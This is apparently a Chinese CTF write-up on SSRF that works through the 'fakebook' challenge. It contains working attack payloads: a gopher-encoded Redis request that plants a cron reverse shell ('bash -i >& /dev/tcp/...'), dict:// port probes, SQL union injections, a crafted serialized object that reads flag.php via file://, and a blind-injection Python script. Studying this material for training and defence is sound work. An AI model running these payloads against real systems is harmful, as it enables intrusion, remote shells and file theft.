0x00知識點:SSRF
SSRF (Server-side Request Forge, 服務端請求偽造)
是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。正是因為它是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統.
漏洞產生原因
由於服務端提供了從其他服務器應用獲取數據的功能且沒有對地址和協議等做過濾和限制。比如從指定URL地址獲取網頁文本內容,加載指定地址的圖片,下載等等。舉個栗子,漏洞代碼ssrf.php:
<?php
// 漏洞代碼ssrf.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>
首先curl查看版本以及支持的協議
root@localhost :curl -V
curl 7.54.0 (x86_64-apple-darwin17.0) libcurl/7.54.0 LibreSSL/2.0.20 zlib/1.2.11 nghttp2/1.24.0
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz HTTP2 UnixSockets HTTPS-proxy
可以看到該版本支持很多協議,其中dict協議、gopher協議、http/s協議以及file協議使用較為廣泛。
①:dict協議探測端口
curl -v 'http://a.com/ssrf.php?url=dict://172.0.0.1:22/info'
curl -v 'http://a.com/ssrf.php?url=dict://127.0.0.1:6379/info'
②:利用gopher協議訪問redis反彈shell
curl -v 'http://a.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'`
防止SSRF:
禁用不需要的協議,僅僅允許http和https請求,可以防止類似於file://, gopher://, ftp:// 等引起的問題。
服務端需要認證交互,禁止非正常用戶訪問服務;
過濾輸入信息,永遠不要相信用戶的輸入,判斷用戶的輸入是否是一個合理的URL地址
過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法,如果web應用是去獲取某一種類型的文件。那么在把返* 回結果展示給用戶之前先驗證返回的信息是否符合標准。
統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠端服務器的端口狀態。
禁止30x跳轉
設置URL白名單或限制內網IP
0x01:CTF實戰
掃描目錄,發現robots.txt,這里說下目錄掃描,目前我沒發現哪一個目錄掃描工具能夠一個就夠,所以我平時使用dirmap,御劍,SourceLeakHacker這三個目錄掃描工具。經過掃描發現有robots.txt和flag.php.
訪問
得到
User-agent: *
Disallow: /user.php.bak
將
/user.php.bak下載打開
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init(); 初始化 cURL 會話
curl_setopt($ch, CURLOPT_URL, $url); 設置url鏈接
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 設置訪問規則,要求結果保存到字符串中還是輸出到屏幕上。
$output = curl_exec($ch); 運行cURL, 返回訪問結果
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_getinfo — 獲取一個cURL連接資源句柄的信息
CURLINFO_HTTP_CODE : 最后一個收到的HTTP代碼
if($httpCode == 404) {
return 404;
}
curl_close($ch);
關閉一個curl會話,唯一的參數是curl_init()函數返回的句柄
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
?>
進行代碼審計
顯然存在ssrf漏洞,並且拼接入我們的url就是我們注冊的時候輸入的url,但是顯然是有waf的,所以我們就不能夠直接利用。。沒有WAF直接在注冊界面輸入file:///var/www/html/flag.php就能拿到我們想要的flag.
根據源碼
重點是 curl_setopt()和curl_exec()這兩個函數。
這里我們先了解一下cURL:
cURL是一個利用URL語法在命令行下工作的文件傳輸工具,1997年首次發行。它支持文件上傳和下載,所以是綜合傳輸工具,但按傳統,習慣稱cURL為下載工具。cURL還包含了用於程序開發的libcurl。
PHP支持的由Daniel Stenberg創建的libcurl庫允許你與各種的服務器使用各種類型的協議進行連接和通訊。
libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap協議。libcurl同時也支持HTTPS認證、HTTP POST、HTTP PUT、 FTP 上傳(這個也能通過PHP的FTP擴展完成)、HTTP 基於表單的上傳、代理、cookies和用戶名+密碼的認證。
PHP中使用cURL實現Get和Post請求的方法
這些函數在PHP 4.0.2中被引入。
注冊后登陸
這里我們觀察它的URL
http://13c56367-4270-42eb-aca9-2d63d1079127.node3.buuoj.cn/view.php?no=1
傳入參數no=1,改變no值,出現網站物理路徑
我們可以想到,我們這個參數,會傳給后端數據庫查詢,服務器響應后會將結果返回頁面。我們就得想辦法讓他的查詢結果是flah.php的網址,也就是
/var/www/html/flag.php
結合源碼,SSRF可以幫我們做到。
開始思考怎么利用
view.php存在get注入點
注冊界面存在POST注入點。
利用sqlmap直接注入:
sqlmap -r '/root/桌面/11.txt' --dump -tables
發現表中存儲的是反序列化:
$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
序列化代碼如下
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
}
$a = new UserInfo();
$a->name = '1';
$a->age = 12;
$a->blog = 'wangtanzhi.com';
echo serialize($a);
?>
運行得到
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:12;s:4:"blog";s:14:"wangtanzhi.com";}
讀flag,將wangtanzhi 改成file:///var/www/html/flag.php來進行序列化
到此,我們的序列化工作完成。
然后,我們開始對view頁面來進行注入,這里也能得到我們通過sqlmap注入出的data
查詢數據庫no=-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata--+
查詢表名/view.phpno=-1++union++select++1,group_concat(table_name),3,4++from++information_schema.tables++where++table_schema='fakebook'-- +
查字段/view.php?no=-1++union++select++1,group_concat(column_name),3,4++from++information_schema.columns++where++table_name='users'--+
結合SSRFpayload:
/view.php?no=0//union//select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
得到flag
題目非預期解:
直接訪問
/view.php?no=0+unIon/**/select+1,load_file('/var/www/html/flag.php'),1,1
就可以拿到flag了
貼上師傅腳本
import requests
url = 'http://6b666407-dc94-41fa-9666-7d5d977b469d.node1.buuoj.cn/view.php?no='
result = ''
for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
response = requests.get(url + payload)
if 'www.123.com' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
參考鏈接:
https://comicalt.github.io/2018/09/01/wangding/